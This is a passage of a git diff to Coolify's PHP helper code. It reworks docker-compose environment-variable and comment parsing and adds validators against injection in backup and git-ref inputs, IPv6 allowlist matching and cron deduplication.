-1808,6 +1963,7 @@ function serviceParser(Service $resource): Collection ], [ 'value' => $value, 'is_preview' => false, + 'comment' => $envComments[$originalMagicKey] ?? null, ]); } } @@ -2163,18 +2319,20 @@ function serviceParser(Service $resource): Collection return ! str($value)->startsWith('SERVICE_'); }); foreach ($normalEnvironments as $key => $value) { + $originalKey = $key; // Preserve original key for comment lookup $key = str($key); $value = str($value); $originalValue = $value; $parsedValue = replaceVariables($value); if ($parsedValue->startsWith('SERVICE_')) { - $resource->environment_variables()->firstOrCreate([ + $resource->environment_variables()->updateOrCreate([ 'key' => $key, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $value, 'is_preview' => false, + 'comment' => $envComments[$originalKey] ?? null, ]); continue; @@ -2183,65 +2341,170 @@ function serviceParser(Service $resource): Collection continue; } if ($key->value() === $parsedValue->value()) { - $value = null; + // Simple variable reference (e.g. DATABASE_URL: ${DATABASE_URL}) + // Ensure the variable exists in DB for .env generation and UI display $resource->environment_variables()->firstOrCreate([ 'key' => $key, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ - 'value' => $value, 'is_preview' => false, + 'comment' => $envComments[$originalKey] ?? null, ]); + // Keep the ${VAR} reference in compose — Docker Compose resolves from .env at deploy time. + // Do NOT replace with DB value: if user updates env var without re-parsing compose, + // a stale resolved value in environment: would override the correct .env value. } else { if ($value->startsWith('$')) { $isRequired = false; - if ($value->contains(':-')) { - $value = replaceVariables($value); - $key = $value->before(':'); - $value = $value->after(':-'); - } elseif ($value->contains('-')) { - $value = replaceVariables($value); - $key = $value->before('-'); - $value = $value->after('-'); - } elseif ($value->contains(':?')) { - $value = replaceVariables($value); + // Extract variable content between ${...} using balanced brace matching + $result = extractBalancedBraceContent($value->value(), 0); - $key = $value->before(':'); - $value = $value->after(':?'); - $isRequired = true; - } elseif ($value->contains('?')) { - $value = replaceVariables($value); + if ($result !== null) { + $content = $result['content']; + $split = splitOnOperatorOutsideNested($content); - $key = $value->before('?'); - $value = $value->after('?'); - $isRequired = true; - } - if ($originalValue->value() === $value->value()) { - // This means the variable does not have a default value, so it needs to be created in Coolify - $parsedKeyValue = replaceVariables($value); + if ($split !== null) { + // Has default value syntax (:-, -, :?, or ?) + $varName = $split['variable']; + $operator = $split['operator']; + $defaultValue = $split['default']; + $isRequired = str_contains($operator, '?'); + + // Create the primary variable with its default (only if it doesn't exist) + // Use firstOrCreate instead of updateOrCreate to avoid overwriting user edits + $envVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $varName, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $defaultValue, + 'is_preview' => false, + 'is_required' => $isRequired, + 'comment' => $envComments[$originalKey] ?? null, + ]); + + // Add the variable to the environment so it will be shown in the deployable compose file + $environment[$varName] = $envVar->value; + + // Recursively process nested variables in default value + if (str_contains($defaultValue, '${')) { + // Extract and create nested variables + $searchPos = 0; + $nestedResult = extractBalancedBraceContent($defaultValue, $searchPos); + while ($nestedResult !== null) { + $nestedContent = $nestedResult['content']; + $nestedSplit = splitOnOperatorOutsideNested($nestedContent); + + // Determine the nested variable name + $nestedVarName = $nestedSplit !== null ? $nestedSplit['variable'] : $nestedContent; + + // Skip SERVICE_URL_* and SERVICE_FQDN_* variables - they are handled by magic variable system + $isMagicVariable = str_starts_with($nestedVarName, 'SERVICE_URL_') || str_starts_with($nestedVarName, 'SERVICE_FQDN_'); + + if (! $isMagicVariable) { + if ($nestedSplit !== null) { + // Create nested variable with its default (only if it doesn't exist) + $nestedEnvVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $nestedSplit['variable'], + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $nestedSplit['default'], + 'is_preview' => false, + ]); + // Add nested variable to environment + $environment[$nestedSplit['variable']] = $nestedEnvVar->value; + } else { + // Simple nested variable without default (only if it doesn't exist) + $nestedEnvVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $nestedContent, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + ]); + // Add nested variable to environment + $environment[$nestedContent] = $nestedEnvVar->value; + } + } + + // Look for more nested variables + $searchPos = $nestedResult['end'] + 1; + if ($searchPos >= strlen($defaultValue)) { + break; + } + $nestedResult = extractBalancedBraceContent($defaultValue, $searchPos); + } + } + } else { + // Simple variable reference without default + // Use firstOrCreate to avoid overwriting user-saved values on redeploy + $envVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $content, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + 'is_required' => $isRequired, + 'comment' => $envComments[$originalKey] ?? null, + ]); + // Add the variable to the environment using the saved DB value + $environment[$content] = $envVar->value; + } + } else { + // Fallback to old behavior for malformed input (backward compatibility) + if ($value->contains(':-')) { + $value = replaceVariables($value); + $key = $value->before(':'); + $value = $value->after(':-'); + } elseif ($value->contains('-')) { + $value = replaceVariables($value); + $key = $value->before('-'); + $value = $value->after('-'); + } elseif ($value->contains(':?')) { + $value = replaceVariables($value); + $key = $value->before(':'); + $value = $value->after(':?'); + $isRequired = true; + } elseif ($value->contains('?')) { + $value = replaceVariables($value); + $key = $value->before('?'); + $value = $value->after('?'); + $isRequired = true; + } + + if ($originalValue->value() === $value->value()) { + // This means the variable does not have a default value + // Use firstOrCreate to avoid overwriting user-saved values on redeploy + $parsedKeyValue = replaceVariables($value); + $envVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $parsedKeyValue, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + 'is_required' => $isRequired, + 'comment' => $envComments[$originalKey] ?? null, + ]); + // Add the variable to the environment using the saved DB value + $environment[$parsedKeyValue->value()] = $envVar->value; + + continue; + } + // Variable with a default value from compose — use firstOrCreate to preserve user edits $resource->environment_variables()->firstOrCreate([ - 'key' => $parsedKeyValue, + 'key' => $key, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ + 'value' => $value, 'is_preview' => false, 'is_required' => $isRequired, + 'comment' => $envComments[$originalKey] ?? null, ]); - // Add the variable to the environment so it will be shown in the deployable compose file - $environment[$parsedKeyValue->value()] = $value; - - continue; } - $resource->environment_variables()->firstOrCreate([ - 'key' => $key, - 'resourceable_type' => get_class($resource), - 'resourceable_id' => $resource->id, - ], [ - 'value' => $value, - 'is_preview' => false, - 'is_required' => $isRequired, - ]); } } } @@ -2307,6 +2570,13 @@ function serviceParser(Service $resource): Collection // Otherwise keep empty string as-is } + // Resolve shared variable patterns like {{environment.VAR}}, {{project.VAR}}, {{team.VAR}} + // Without this, literal {{...}} strings end up in the compose environment: section, + // which takes precedence over the resolved values in the .env file (env_file:) + if (is_string($value) && str_contains($value, '{{')) { + $value = resolveSharedEnvironmentVariables($value, $resource); + } + return $value; }); } diff --git a/bootstrap/helpers/proxy.php b/bootstrap/helpers/proxy.php index ac52c0af8..cf9f648bb 100644 --- a/bootstrap/helpers/proxy.php +++ b/bootstrap/helpers/proxy.php @@ -4,6 +4,7 @@ use App\Enums\ProxyTypes; use App\Models\Application; use App\Models\Server; +use Illuminate\Support\Facades\Log; use Symfony\Component\Yaml\Yaml; /** @@ -215,6 +216,13 @@ function extractCustomProxyCommands(Server $server, string $existing_config): ar } function generateDefaultProxyConfiguration(Server $server, array $custom_commands = []) { + Log::info('Generating default proxy configuration', [ + 'server_id' => $server->id, + 'server_name' => $server->name, + 'custom_commands_count' => count($custom_commands), + 'caller' => debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 3)[1]['class'] ?? 'unknown', + ]); + $proxy_path = $server->proxyPath(); $proxy_type = $server->proxyType(); diff --git a/bootstrap/helpers/remoteProcess.php b/bootstrap/helpers/remoteProcess.php index 217c82929..2544719fc 100644 --- a/bootstrap/helpers/remoteProcess.php +++ b/bootstrap/helpers/remoteProcess.php @@ -1,9 +1,10 @@ teams->pluck('id'); if (! $teams->contains($server->team_id) && ! $teams->contains(0)) { - throw new \Exception('User is not part of the team that owns this server'); + throw new Exception('User is not part of the team that owns this server'); } } SshMultiplexingHelper::ensureMultiplexedConnection($server); - return resolve(PrepareCoolifyTask::class, [ - 'remoteProcessArgs' => new CoolifyTaskArgs( - server_uuid: $server->uuid, - command: $command_string, - type: $type, - type_uuid: $type_uuid, - model: $model, - ignore_errors: $ignore_errors, - call_event_on_finish: $callEventOnFinish, - call_event_data: $callEventData, - ), - ])(); + $properties = [ + 'server_uuid' => $server->uuid, + 'command' => $command_string, + 'type' => $type, + 'type_uuid' => $type_uuid, + 'status' => ProcessStatus::QUEUED->value, + 'team_id' => $server->team_id, + ]; + + $activityLog = activity() + ->withProperties($properties) + ->event($type); + + if ($model) { + $activityLog->performedOn($model); + } + + $activity = $activityLog->log('[]'); + + dispatch(new CoolifyTask( + activity: $activity, + ignore_errors: $ignore_errors, + call_event_on_finish: $callEventOnFinish, + call_event_data: $callEventData, + )); + + $activity->refresh(); + + return $activity; } function instant_scp(string $source, string $dest, Server $server, $throwError = true) { - return \App\Helpers\SshRetryHandler::retry( + return SshRetryHandler::retry( function () use ($source, $dest, $server) { $scp_command = SshMultiplexingHelper::generateScpCommand($server, $source, $dest); $process = Process::timeout(config('constants.ssh.command_timeout'))->run($scp_command); @@ -92,7 +110,7 @@ function instant_remote_process_with_timeout(Collection|array $command, Server $ } $command_string = implode("\n", $command); - return \App\Helpers\SshRetryHandler::retry( + return SshRetryHandler::retry( function () use ($server, $command_string) { $sshCommand = SshMultiplexingHelper::generateSshCommand($server, $command_string); $process = Process::timeout(30)->run($sshCommand); @@ -128,7 +146,7 @@ function instant_remote_process(Collection|array $command, Server $server, bool $command_string = implode("\n", $command); $effectiveTimeout = $timeout ?? config('constants.ssh.command_timeout'); - return \App\Helpers\SshRetryHandler::retry( + return SshRetryHandler::retry( function () use ($server, $command_string, $effectiveTimeout, $disableMultiplexing) { $sshCommand = SshMultiplexingHelper::generateSshCommand($server, $command_string, $disableMultiplexing); $process = Process::timeout($effectiveTimeout)->run($sshCommand); @@ -170,9 +188,9 @@ function excludeCertainErrors(string $errorOutput, ?int $exitCode = null) if ($ignored) { // TODO: Create new exception and disable in sentry - throw new \RuntimeException($errorMessage, $exitCode); + throw new RuntimeException($errorMessage, $exitCode); } - throw new \RuntimeException($errorMessage, $exitCode); + throw new RuntimeException($errorMessage, $exitCode); } function decode_remote_command_output(?ApplicationDeploymentQueue $application_deployment_queue = null, bool $includeAll = false): Collection @@ -194,7 +212,7 @@ function decode_remote_command_output(?ApplicationDeploymentQueue $application_d associative: true, flags: JSON_THROW_ON_ERROR ); - } catch (\JsonException $e) { + } catch (JsonException $e) { // If JSON decoding fails, try to clean up the logs and retry try { // Ensure valid UTF-8 encoding @@ -204,7 +222,7 @@ function decode_remote_command_output(?ApplicationDeploymentQueue $application_d associative: true, flags: JSON_THROW_ON_ERROR ); - } catch (\JsonException $e) { + } catch (JsonException $e) { // If it still fails, return empty collection to prevent crashes return collect([]); } @@ -275,9 +293,9 @@ function remove_iip($text) // ANSI color codes $text = preg_replace('/\x1b\[[0-9;]*m/', '', $text); - // Generic URLs with passwords (covers database URLs, ftp, amqp, ssh, etc.) + // Generic URLs with passwords (covers database URLs, ftp, amqp, ssh, git basic auth, etc.) // (protocol://user:password@host → protocol://user:@host) - $text = preg_replace('/((?:postgres|mysql|mongodb|rediss?|mariadb|ftp|sftp|ssh|amqp|amqps|ldap|ldaps|s3):\/\/[^:]+:)[^@]+(@)/i', '$1'.REDACTED.'$2', $text); + $text = preg_replace('/((?:https?|postgres|mysql|mongodb|rediss?|mariadb|ftp|sftp|ssh|amqp|amqps|ldap|ldaps|s3):\/\/[^:]+:)[^@]+(@)/i', '$1'.REDACTED.'$2', $text); // Email addresses $text = preg_replace('/[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/', REDACTED, $text); @@ -353,7 +371,7 @@ function checkRequiredCommands(Server $server) } try { instant_remote_process(["docker run --rm --privileged --net=host --pid=host --ipc=host --volume /:/host busybox chroot /host bash -c 'apt update && apt install -y {$command}'"], $server); - } catch (\Throwable) { + } catch (Throwable) { break; } $commandFound = instant_remote_process(["docker run --rm --privileged --net=host --pid=host --ipc=host --volume /:/host busybox chroot /host bash -c 'command -v {$command}'"], $server, false); diff --git a/bootstrap/helpers/services.php b/bootstrap/helpers/services.php index 3d2b61b86..20b184a01 100644 --- a/bootstrap/helpers/services.php +++ b/bootstrap/helpers/services.php @@ -17,9 +17,123 @@ function collectRegex(string $name) { return "/{$name}\w+/"; } + +/** + * Extract content between balanced braces, handling nested braces properly. + * + * @param string $str The string to search + * @param int $startPos Position to start searching from + * @return array|null Array with 'content', 'start', and 'end' keys, or null if no balanced braces found + */ +function extractBalancedBraceContent(string $str, int $startPos = 0): ?array +{ + // Find opening brace + if ($startPos >= strlen($str)) { + return null; + } + $openPos = strpos($str, '{', $startPos); + if ($openPos === false) { + return null; + } + + // Track depth to find matching closing brace + $depth = 1; + $pos = $openPos + 1; + $len = strlen($str); + + while ($pos < $len && $depth > 0) { + if ($str[$pos] === '{') { + $depth++; + } elseif ($str[$pos] === '}') { + $depth--; + } + $pos++; + } + + if ($depth !== 0) { + // Unbalanced braces + return null; + } + + return [ + 'content' => substr($str, $openPos + 1, $pos - $openPos - 2), + 'start' => $openPos, + 'end' => $pos - 1, + ]; +} + +/** + * Split variable expression on operators (:-, -, :?, ?) while respecting nested braces. + * + * @param string $content The content to split (without outer ${...}) + * @return array|null Array with 'variable', 'operator', and 'default' keys, or null if no operator found + */ +function splitOnOperatorOutsideNested(string $content): ?array +{ + $operators = [':-', '-', ':?', '?']; + $depth = 0; + $len = strlen($content); + + for ($i = 0; $i < $len; $i++) { + if ($content[$i] === '{') { + $depth++; + } elseif ($content[$i] === '}') { + $depth--; + } elseif ($depth === 0) { + // Check for operators only at depth 0 (outside nested braces) + foreach ($operators as $op) { + if (substr($content, $i, strlen($op)) === $op) { + return [ + 'variable' => substr($content, 0, $i), + 'operator' => $op, + 'default' => substr($content, $i + strlen($op)), + ]; + } + } + } + } + + return null; +} + function replaceVariables(string $variable): Stringable { - return str($variable)->before('}')->replaceFirst('$', '')->replaceFirst('{', ''); + // Handle ${VAR} syntax with proper brace matching + $str = str($variable); + + // Handle ${VAR} format + if ($str->startsWith('${')) { + $result = extractBalancedBraceContent($variable, 0); + if ($result !== null) { + return str($result['content']); + } + + // Fallback to old behavior for malformed input + return $str->before('}')->replaceFirst('$', '')->replaceFirst('{', ''); + } + + // Handle {VAR} format (from regex capture group without $) + if ($str->startsWith('{') && $str->endsWith('}')) { + return str(substr($variable, 1, -1)); + } + + // Handle {VAR format (from regex capture group, may be truncated) + if ($str->startsWith('{')) { + $result = extractBalancedBraceContent('$'.$variable, 0); + if ($result !== null) { + return str($result['content']); + } + + // Fallback: remove { and get content before } + return $str->replaceFirst('{', '')->before('}'); + } + + // Handle bare $VAR format (no braces) + if ($str->startsWith('$')) { + return $str->replaceFirst('$', ''); + } + + return $str; } function getFilesystemVolumesFromServer(ServiceApplication|ServiceDatabase|Application $oneService, bool $isInit = false) diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index 4372ff955..84472a07e 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -8,6 +8,7 @@ use App\Models\ApplicationPreview; use App\Models\EnvironmentVariable; use App\Models\GithubApp; +use App\Models\GitlabApp; use App\Models\InstanceSettings; use App\Models\LocalFileVolume; use App\Models\LocalPersistentVolume; @@ -147,6 +148,92 @@ function validateShellSafePath(string $input, string $context = 'path'): string return $input; } +/** + * Validate that a databases_to_backup input string is safe from command injection. + * + * Supports all database formats: + * - PostgreSQL/MySQL/MariaDB: "db1,db2,db3" + * - MongoDB: "db1:col1,col2|db2:col3,col4" + * + * Validates each database name AND collection name individually against shell metacharacters. + * + * @param string $input The databases_to_backup string + * @return string The validated input + * + * @throws \Exception If any component contains dangerous characters + */ +function validateDatabasesBackupInput(string $input): string +{ + // Split by pipe (MongoDB multi-db separator) + $databaseEntries = explode('|', $input); + + foreach ($databaseEntries as $entry) { + $entry = trim($entry); + if ($entry === '' || $entry === 'all' || $entry === '*') { + continue; + } + + if (str_contains($entry, ':')) { + // MongoDB format: dbname:collection1,collection2 + $databaseName = str($entry)->before(':')->value(); + $collections = str($entry)->after(':')->explode(','); + + validateShellSafePath($databaseName, 'database name'); + + foreach ($collections as $collection) { + $collection = trim($collection); + if ($collection !== '') { + validateShellSafePath($collection, 'collection name'); + } + } + } else { + // Simple format: just a database name (may contain commas for non-Mongo) + $databases = explode(',', $entry); + foreach ($databases as $db) { + $db = trim($db); + if ($db !== '' && $db !== 'all' && $db !== '*') { + validateShellSafePath($db, 'database name'); + } + } + } + } + + return $input; +} + +/** + * Validate that a string is a safe git ref (commit SHA, branch name, tag, or HEAD). + * + * Prevents command injection by enforcing an allowlist of characters valid for git refs. + * Valid: hex SHAs, HEAD, branch/tag names (alphanumeric, dots, hyphens, underscores, slashes). + * + * @param string $input The git ref to validate + * @param string $context Descriptive name for error messages + * @return string The validated input (trimmed) + * + * @throws \Exception If the input contains disallowed characters + */ +function validateGitRef(string $input, string $context = 'git ref'): string +{ + $input = trim($input); + + if ($input === '' || $input === 'HEAD') { + return $input; + } + + // Must not start with a hyphen (git flag injection) + if (str_starts_with($input, '-')) { + throw new \Exception("Invalid {$context}: must not start with a hyphen."); + } + + // Allow only alphanumeric characters, dots, hyphens, underscores, and slashes + if (! preg_match('/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/', $input)) { + throw new \Exception("Invalid {$context}: contains disallowed characters. Only alphanumeric characters, dots, hyphens, underscores, and slashes are allowed."); + } + + return $input; +} + function generate_readme_file(string $name, string $updated_at): string { $name = sanitize_string($name); @@ -305,7 +392,18 @@ function generate_application_name(string $git_repository, string $git_branch, ? $cuid = new Cuid2; } - return Str::kebab("$git_repository:$git_branch-$cuid"); + $repo_name = str_contains($git_repository, '/') ? last(explode('/', $git_repository)) : $git_repository; + + $name = Str::kebab("$repo_name:$git_branch-$cuid"); + + // Strip characters not allowed by NAME_PATTERN + $name = preg_replace('/[^\p{L}\p{M}\p{N}\s\-_.@\/&()#,:+]+/u', '', $name); + + if (empty($name) || mb_strlen($name) < 3) { + return generate_random_name($cuid); + } + + return $name; } /** @@ -432,6 +530,36 @@ function validate_cron_expression($expression_to_validate): bool return $isValid; } +/** + * Determine if a cron schedule should run now, with deduplication. + * + * Uses getPreviousRunDate() + last-dispatch tracking to be resilient to queue delays. + * Even if the job runs minutes late, it still catches the missed cron window. + * Without a dedupKey, falls back to a simple isDue() check. + */ +function shouldRunCronNow(string $frequency, string $timezone, ?string $dedupKey = null, ?\Illuminate\Support\Carbon $executionTime = null): bool +{ + $cron = new \Cron\CronExpression($frequency); + $executionTime = ($executionTime ?? \Illuminate\Support\Carbon::now())->copy()->setTimezone($timezone); + + if ($dedupKey === null) { + return $cron->isDue($executionTime); + } + + $previousDue = \Illuminate\Support\Carbon::instance($cron->getPreviousRunDate($executionTime, allowCurrentDate: true)); + $lastDispatched = Cache::get($dedupKey); + + $shouldFire = $lastDispatched === null + ? $cron->isDue($executionTime) + : $previousDue->gt(\Illuminate\Support\Carbon::parse($lastDispatched)); + + // Always write: seeds on first miss, refreshes on dispatch. + // 30-day static TTL covers all intervals; orphan keys self-clean. + Cache::put($dedupKey, ($shouldFire ? $executionTime : $previousDue)->toIso8601String(), 2592000); + + return $shouldFire; +} + function validate_timezone(string $timezone): bool { return in_array($timezone, timezone_identifiers_list()); @@ -448,19 +576,286 @@ function parseEnvFormatToArray($env_file_contents) $equals_pos = strpos($line, '='); if ($equals_pos !== false) { $key = substr($line, 0, $equals_pos); - $value = substr($line, $equals_pos + 1); - if (substr($value, 0, 1) === '"' && substr($value, -1) === '"') { - $value = substr($value, 1, -1); - } elseif (substr($value, 0, 1) === "'" && substr($value, -1) === "'") { - $value = substr($value, 1, -1); + $value_and_comment = substr($line, $equals_pos + 1); + $comment = null; + $remainder = ''; + + // Check if value starts with quotes + $firstChar = $value_and_comment[0] ?? ''; + $isDoubleQuoted = $firstChar === '"'; + $isSingleQuoted = $firstChar === "'"; + + if ($isDoubleQuoted) { + // Find the closing double quote + $closingPos = strpos($value_and_comment, '"', 1); + if ($closingPos !== false) { + // Extract quoted value and remove quotes + $value = substr($value_and_comment, 1, $closingPos - 1); + // Everything after closing quote (including comments) + $remainder = substr($value_and_comment, $closingPos + 1); + } else { + // No closing quote - treat as unquoted + $value = substr($value_and_comment, 1); + } + } elseif ($isSingleQuoted) { + // Find the closing single quote + $closingPos = strpos($value_and_comment, "'", 1); + if ($closingPos !== false) { + // Extract quoted value and remove quotes + $value = substr($value_and_comment, 1, $closingPos - 1); + // Everything after closing quote (including comments) + $remainder = substr($value_and_comment, $closingPos + 1); + } else { + // No closing quote - treat as unquoted + $value = substr($value_and_comment, 1); + } + } else { + // Unquoted value - strip inline comments + // Only treat # as comment if preceded by whitespace + if (preg_match('/\s+#/', $value_and_comment, $matches, PREG_OFFSET_CAPTURE)) { + // Found whitespace followed by #, extract comment + $remainder = substr($value_and_comment, $matches[0][1]); + $value = substr($value_and_comment, 0, $matches[0][1]); + $value = rtrim($value); + } else { + $value = $value_and_comment; + } } - $env_array[$key] = $value; + + // Extract comment from remainder (if any) + if ($remainder !== '') { + // Look for # in remainder + $hashPos = strpos($remainder, '#'); + if ($hashPos !== false) { + // Extract everything after the # and trim + $comment = substr($remainder, $hashPos + 1); + $comment = trim($comment); + // Set to null if empty after trimming + if ($comment === '') { + $comment = null; + } + } + } + + $env_array[$key] = [ + 'value' => $value, + 'comment' => $comment, + ]; } } return $env_array; } +/** + * Extract inline comments from environment variables in raw docker-compose YAML. + * + * Parses raw docker-compose YAML to extract inline comments from environment sections. + * Standard YAML parsers discard comments, so this pre-processes the raw text. + * + * Handles both formats: + * - Map format: `KEY: "value" # comment` or `KEY: value # comment` + * - Array format: `- KEY=value # comment` + * + * @param string $rawYaml The raw docker-compose.yml content + * @return array Map of environment variable keys to their inline comments + */ +function extractYamlEnvironmentComments(string $rawYaml): array +{ + $comments = []; + $lines = explode("\n", $rawYaml); + $inEnvironmentBlock = false; + $environmentIndent = 0; + + foreach ($lines as $line) { + // Skip empty lines + if (trim($line) === '') { + continue; + } + + // Calculate current line's indentation (number of leading spaces) + $currentIndent = strlen($line) - strlen(ltrim($line)); + + // Check if this line starts an environment block + if (preg_match('/^(\s*)environment\s*:\s*$/', $line, $matches)) { + $inEnvironmentBlock = true; + $environmentIndent = strlen($matches[1]); + + continue; + } + + // Check if this line starts an environment block with inline content (rare but possible) + if (preg_match('/^(\s*)environment\s*:\s*\{/', $line)) { + // Inline object format - not supported for comment extraction + continue; + } + + // If we're in an environment block, check if we've exited it + if ($inEnvironmentBlock) { + // If we hit a line with same or less indentation that's not empty, we've left the block + // Unless it's a continuation of the environment block + $trimmedLine = ltrim($line); + + // Check if this is a new top-level key (same indent as 'environment:' or less) + if ($currentIndent <= $environmentIndent && ! str_starts_with($trimmedLine, '-') && ! str_starts_with($trimmedLine, '#')) { + // Check if it looks like a YAML key (contains : not inside quotes) + if (preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*\s*:/', $trimmedLine)) { + $inEnvironmentBlock = false; + + continue; + } + } + + // Skip comment-only lines + if (str_starts_with($trimmedLine, '#')) { + continue; + } + + // Try to extract environment variable and comment from this line + $extracted = extractEnvVarCommentFromYamlLine($trimmedLine); + if ($extracted !== null && $extracted['comment'] !== null) { + $comments[$extracted['key']] = $extracted['comment']; + } + } + } + + return $comments; +} + +/** + * Extract environment variable key and inline comment from a single YAML line. + * + * @param string $line A trimmed line from the environment section + * @return array|null Array with 'key' and 'comment', or null if not an env var line + */ +function extractEnvVarCommentFromYamlLine(string $line): ?array +{ + $key = null; + $comment = null; + + // Handle array format: `- KEY=value # comment` or `- KEY # comment` + if (str_starts_with($line, '-')) { + $content = ltrim(substr($line, 1)); + + // Check for KEY=value format + if (preg_match('/^([A-Za-z_][A-Za-z0-9_]*)/', $content, $keyMatch)) { + $key = $keyMatch[1]; + // Find comment - need to handle quoted values + $comment = extractCommentAfterValue($content); + } + } + // Handle map format: `KEY: "value" # comment` or `KEY: value # comment` + elseif (preg_match('/^([A-Za-z_][A-Za-z0-9_]*)\s*:/', $line, $keyMatch)) { + $key = $keyMatch[1]; + // Get everything after the key and colon + $afterKey = substr($line, strlen($keyMatch[0])); + $comment = extractCommentAfterValue($afterKey); + } + + if ($key === null) { + return null; + } + + return [ + 'key' => $key, + 'comment' => $comment, + ]; +} + +/** + * Extract inline comment from a value portion of a YAML line. + * + * Handles quoted values (where # inside quotes is not a comment). + * + * @param string $valueAndComment The value portion (may include comment) + * @return string|null The comment text, or null if no comment + */ +function extractCommentAfterValue(string $valueAndComment): ?string +{ + $valueAndComment = ltrim($valueAndComment); + + if ($valueAndComment === '') { + return null; + } + + $firstChar = $valueAndComment[0] ?? ''; + + // Handle case where value is empty and line starts directly with comment + // e.g., `KEY: # comment` becomes `# comment` after ltrim + if ($firstChar === '#') { + $comment = trim(substr($valueAndComment, 1)); + + return $comment !== '' ? $comment : null; + } + + // Handle double-quoted value + if ($firstChar === '"') { + // Find closing quote (handle escaped quotes) + $pos = 1; + $len = strlen($valueAndComment); + while ($pos < $len) { + if ($valueAndComment[$pos] === '\\' && $pos + 1 < $len) { + $pos += 2; // Skip escaped character + + continue; + } + if ($valueAndComment[$pos] === '"') { + // Found closing quote + $remainder = substr($valueAndComment, $pos + 1); + + return extractCommentFromRemainder($remainder); + } + $pos++; + } + + // No closing quote found + return null; + } + + // Handle single-quoted value + if ($firstChar === "'") { + // Find closing quote (single quotes don't have escapes in YAML) + $closingPos = strpos($valueAndComment, "'", 1); + if ($closingPos !== false) { + $remainder = substr($valueAndComment, $closingPos + 1); + + return extractCommentFromRemainder($remainder); + } + + // No closing quote found + return null; + } + + // Unquoted value - find # that's preceded by whitespace + // Be careful not to match # at the start of a value like color codes + if (preg_match('/\s+#\s*(.*)$/', $valueAndComment, $matches)) { + $comment = trim($matches[1]); + + return $comment !== '' ? $comment : null; + } + + return null; +} + +/** + * Extract comment from the remainder of a line after a quoted value. + * + * @param string $remainder Text after the closing quote + * @return string|null The comment text, or null if no comment + */ +function extractCommentFromRemainder(string $remainder): ?string +{ + // Look for # in remainder + $hashPos = strpos($remainder, '#'); + if ($hashPos !== false) { + $comment = trim(substr($remainder, $hashPos + 1)); + + return $comment !== '' ? $comment : null; + } + + return null; +} + function data_get_str($data, $key, $default = null): Stringable { $str = data_get($data, $key, $default) ?? $default; @@ -1149,24 +1544,48 @@ function checkIPAgainstAllowlist($ip, $allowlist) } $mask = (int) $mask; + $isIpv6Subnet = filter_var($subnet, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false; + $maxMask = $isIpv6Subnet ? 128 : 32; - // Validate mask - if ($mask < 0 || $mask > 32) { + // Validate mask for address family + if ($mask < 0 || $mask > $maxMask) { continue; } - // Calculate network addresses - $ip_long = ip2long($ip); - $subnet_long = ip2long($subnet); + if ($isIpv6Subnet) { + // IPv6 CIDR matching using binary string comparison + $ipBin = inet_pton($ip); + $subnetBin = inet_pton($subnet); - if ($ip_long === false || $subnet_long === false) { - continue; - } + if ($ipBin === false || $subnetBin === false) { + continue; + } - $mask_long = ~((1 << (32 - $mask)) - 1); + // Build a 128-bit mask from $mask prefix bits + $maskBin = str_repeat("\xff", (int) ($mask / 8)); + $remainder = $mask % 8; + if ($remainder > 0) { + $maskBin .= chr(0xFF & (0xFF << (8 - $remainder))); + } + $maskBin = str_pad($maskBin, 16, "\x00"); - if (($ip_long & $mask_long) == ($subnet_long & $mask_long)) { - return true; + if (($ipBin & $maskBin) === ($subnetBin & $maskBin)) { + return true; + } + } else { + // IPv4 CIDR matching + $ip_long = ip2long($ip); + $subnet_long = ip2long($subnet); + + if ($ip_long === false || $subnet_long === false) { + continue; + } + + $mask_long = ~((1 << (32 - $mask)) - 1); + + if (($ip_long & $mask_long) == ($subnet_long & $mask_long)) { + return true; + } } } else { // Special case: 0.0.0.0 means allow all @@ -1184,6 +1603,67 @@ function checkIPAgainstAllowlist($ip, $allowlist) return false; } +function deduplicateAllowlist(array $entries): array +{ + if (count($entries) <= 1) { + return array_values($entries); + } + + // Normalize each entry into [original, ip, mask] + $parsed = []; + foreach ($entries as $entry) { + $entry = trim($entry); + if (empty($entry)) { + continue; + } + + if ($entry === '0.0.0.0') { + // Special case: bare 0.0.0.0 means "allow all" — treat as /0 + $parsed[] = ['original' => $entry, 'ip' => '0.0.0.0', 'mask' => 0]; + } elseif (str_contains($entry, '/')) { + [$ip, $mask] = explode('/', $entry); + $parsed[] = ['original' => $entry, 'ip' => $ip, 'mask' => (int) $mask]; + } else { + $ip = $entry; + $isIpv6 = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false; + $parsed[] = ['original' => $entry, 'ip' => $ip, 'mask' => $isIpv6 ? 128 : 32]; + } + } + + $count = count($parsed); + $redundant = array_fill(0, $count, false); + + for ($i = 0; $i < $count; $i++) { + if ($redundant[$i]) { + continue; + } + + for ($j = 0; $j < $count; $j++) { + if ($i === $j || $redundant[$j]) { + continue; + } + + // Entry $j is redundant if its mask is narrower/equal (>=) than $i's mask + // AND $j's network IP falls within $i's CIDR range + if ($parsed[$j]['mask'] >= $parsed[$i]['mask']) { + $cidr = $parsed[$i]['ip'].'/'.$parsed[$i]['mask']; + if (checkIPAgainstAllowlist($parsed[$j]['ip'], [$cidr])) { + $redundant[$j] = true; + } + } + } + } + + $result = 